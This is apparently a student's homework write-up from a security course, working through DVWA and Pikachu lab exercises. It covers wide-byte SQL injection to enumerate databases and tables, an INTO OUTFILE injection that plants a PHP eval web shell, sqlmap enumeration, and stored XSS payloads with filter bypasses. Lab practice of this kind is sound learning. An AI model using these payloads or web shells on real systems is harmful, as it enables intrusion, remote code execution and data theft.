首页 > 数据库 >C10-8 SQL注入II + XSS练习 I

C10-8 SQL注入II + XSS练习 I

时间:2024-12-18 13:20:01浏览次数:10  
标签:XSS 标签 SQL II 使用 靶场 输入 注入

情境


参加了培训的第八次课, 涉及到了SQL宽字节注入, 从MySQL注入到GetShell, SQL注入的基本绕过手法, SQL注入防御, SQLmap的使用; XSS基本概念和原理 的介绍(包括3种XSS及其手动测试).
这里是第八课的作业题, 及我的解答. 此次作业宽字节注入, 需要使用到 Pikachu靶场. 该靶场需要VM上事先 开启disk UUID(镜像脚本中的supervisord需要), 且安装并配置好 mysql-server.
(注: 使用本地虚拟机开启dvwa靶场, 10.0.0.155是ubuntu虚拟机的IP, dvwa挂在8080端口上. 登陆后初始化靶场并重新登录. 下列各题都将在靶场不同标签页中练习 复现.)



1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;

我的解答:  本题, 我将以Pikachu靶场中的宽字节注入页面作为复现环境.

a. 预备工作
首先搭建Pikachu靶场环境, 需要正确安装 mysql-server, php2.7 和 apache2 等. 然后使用docker开启一个以area39/pikachu为镜像的容器.
容器开启后, 等待一会儿再使用浏览器访问pikachu网页, 使用该靶场之前需要先在网页上进行初始化.
img
img
img
img

b. 尝试使用宽字节注入, 做一个测试
使用 %81' or 1=1#作为输入, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 检查响应包结果符合预期.
img
img
img

c. 爆破数据库名
使用联合注入, 结合 b 中的手法, 输入aaa%81' union select 1,database()#, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果成功爆破数据库名 pikachu.
img
img
img

d. 爆破数据表名
-- 首先爆出数据库 pikachu 中的数据表数量.
使用count()函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,count(table_name) from information_schema.tables where table_schema=database()#.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果得出 该数据库中有5张表.
img
img
img
-- 再爆出具体的表名.
使用group_concat()函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()#.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 得出 该数据库中5张表的具体表名.
img
img
img
-- 确认正确的表名(即爆字段名, 并分析)
通过表名和使用情境, 推测很可能使用的是 表member 或者 表users, 且该表含有诸如类似 uid 和 email 的信息字段. 查取所有表的字段名.
在输入框中输入bbb%81' union select 3,group_concat(column_name) from information_schema.columns where table_schema=database()# .
(逐个表查字段操作不出来, 因为限制表名一定会用到'', 而在该情景下''会添加addslash()函数, 不可绕过; 但是可以查pikachu数据库中所有表的字段名, 对比之前的结果可能会得到一些暗示. 果然如此!!!!)
最后确认正确的数据表名是 member
img
img
img
img




2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;

我的解答:  

开启DVWA靶场, 并设计注入
使用docker开启dvwa容器. 数据库初始化后重新登入(admin//password). 将安全等级调成low. 选中"SQL Injection"标签, 并输入SQL注入形式的一句话木马:
' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell.php'#
img
img

通过容器后端可以看到, 此时已成功创建木马文件 /var/www/html/shell.php
img

通过浏览器访问 $(IP):$port/shell.php, 看到的是空白页面.
img
-- 可以使用HackBar V2插件 添加POST方法的参数a. 比如 a=phpinfo(); 或是 system(pwd)之类的系统命令.
img
img
-- 也可以使用蚁剑, 添加一句话木马的文件地址, 连接密码就是POST方法传输的变量名. 由此就可以打开容器后端了. 至此, 我们就算完整地拿下该服务器了.
img
img
img
img
img




3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;

我的解答:  

安装SQLMap, 并设置(Linux和Windows都可)
将dvwa网站的安全等级调成low, 并取得带参数信息的有效链接.
img

通过浏览器控制台console获取cookies信息
img

构建sqlmap命令, 并获取目的参数的payload
img
img

使用sqlmap爆库名
img

使用sqlmap爆表名
img

使用sqlmap爆列名
img

使用sqlmap爆数据内容
img
img
img
img




4、完成DVWA靶场存储型XSS的漏洞练习。

我的解答:  

知识点回顾
通常存在XSS漏洞的输入点, 如果代码中没有针对输入的过滤措施, 可直接使用: <script>alert(1)</script> 或者 类似于<img src=## one rror=alert(document.cookie)>(或者a标签 <a onm ouseover=alert('XSS')>xss link</a>) 之类的输入.
如果存在XSS漏洞的输入点, 代码中过滤了 <script> 标签, 可考虑使用 大小写混淆绕过, 双写饶过, 或者使用其它标签
如果存在XSS漏洞的输入点, 代码中使用正则过滤 <script> 标签, 那就只能使用其他标签了.

Security Level Low (此处, 针对message没有输入过滤措施, 针对name通过正则匹配限制使用 <script> 标签)
可使用最简单的 <script>alert(1)</script> 进行(存储型)XSS攻击.
img
img
img

Security Level Medium (此处, 针对message使用addslash()函数; 针对name过滤<script>标签 且 前端限制输入长度)
在name处使用双写混淆绕过, 通过inspector将maxlength改成一个较大值.
img
img
img

Security Level High (此处, 针对message使用addslash()函数; 针对name通过正则匹配限制使用 <script> 标签 且 前端限制输入长度)
在name处使用其它标签, 通过inspector将maxlength改成一个较大值.
img
img
img




预习:XSS

预习资料:课件,课件还没出来

自己的学习进度落了两个多月了, 惭愧…… 慢慢追……

标签:XSS,标签,SQL,II,使用,靶场,输入,注入
From: https://www.cnblogs.com/pp0begging/p/18493694

相关文章

  • 8 SQL 面试题
    SQL基础面试题两个表:TableX有三个字段Code、Name、Age、其中Code为主键:TableY有三字字段Code、Course(课程)、Score(成绩),其中Code+Courese为主键:------------TableX-------------Code Name Age97001 张三 2297002 赵四2197003 张飞 2097004 李五 22-------------TableY------......
  • Python城市管理执法软件系统(Pycharm Flask Django Vue mysql)
    文章目录项目介绍和开发技术介绍具体实现截图开发技术开发与测试:设计思路系统测试可行性分析核心代码部分展示文章目录/写作提纲参考源码/演示视频获取方式项目介绍和开发技术介绍pycharm毕业设计项目框架支持:flask/djangoPython版本:python3.7.7开发软件:PyCharm......
  • 入门SQL一篇文章就够了
    SQL(StructuredQueryLanguage)即结构化查询语言,是用于管理关系型数据库的标准语言。一、基础环境搭建安装数据库管理系统(DBMS)常见的有MySQL、Oracle、SQLServer等。以MySQL为例,你可以从官方网站下载适合你操作系统的安装包进行安装。在安装过程中,需要注意设置好用户名、密......
  • 常见的SQL优化技巧
    1.查询语句优化选择合适的查询字段:只查询需要的字段,避免使用SELECT*。例如,如果只需要用户表中的姓名和年龄字段,应使用SELECTname,ageFROMusers;,而不是查询所有字段。因为查询所有字段会增加数据库的I/O开销和网络传输的数据量。避免子查询嵌套过深:子查询会增加查询的复杂......
  • 如何分析和优化SQL语句的执行计划?
    理解执行计划的重要性执行计划是数据库管理系统(DBMS)在执行SQL语句时所采取的步骤和方法的描述。它展示了数据库如何访问表、使用索引,以及以何种顺序连接表等信息。通过分析执行计划,可以找出SQL语句执行效率低下的原因,如全表扫描、不合适的索引使用等,从而有针对性地进行优化。......
  • 【GreatSQL优化器-07】mm tree
    【GreatSQL优化器-07】mmtree一、mmtree介绍GreatSQL的优化器主要用mmtree也就是min-maxtree来确定条件的范围,然后根据不同索引的范围值来计算cost,选取cost最小的索引来执行SQL。下面用一个简单的例子来说明mmtree是什么。greatsql>CREATETABLEt1(c1INTP......
  • MySQL插入数据重复时,数据已经存在,则更新或者忽略,不存在,则插入数据
    实现MySQL插入数据重复时更新,数据不存在时插入,只使用一条SQL语句的需求,可以通过以下几种方法来实现:首页先创建一张表,开始测试--创建一张users表,并把name设置为唯一索引。CREATETABLE`users`(`id`intNOTNULLAUTO_INCREMENT,`name`varchar(50)COLLATEut......
  • T-SQL备份还原SQL Server的数据库
    完整备份与还原备份数据库到指定的位置---完整备份backupdatabaseTest1todisk='D:\backups\Test1.bak'使用备份文件还原数据库--设置单用户模式alterdatabaseTest1setsingle_userWITHROLLBACKIMMEDIATE--还原数据库restoredatabaseTest1fromdisk='D:\ba......
  • MySQL中的视图(如果想知道MYSQL中有关视图的知识,那么只看这一篇就足够了!)
        前言:视图(View)是数据库中一种虚拟的表,它通过封装复杂的查询简化数据操作,帮助用户更方便地访问数据。视图不仅提升了查询效率,还增强了数据安全性和逻辑独立性。✨✨✨这里是秋刀鱼不做梦的BLOG✨✨✨想要了解更多内容可以访问我的主页秋刀鱼不做梦-CSDN博客在......
  • MySQL常见面试题(2025年最新)
    1.char和varchar的区别①char设置多少长度就是多少长度,varchar可以改变长度,所以char的空间利用率不如varchar的空间利用率高。②因为长度固定,所以存取速度要比varchar快。③char适用于固定长度的字符串,比如身份证号、手机号等,varchar适用于不固定的字符串。2.数据库的三大......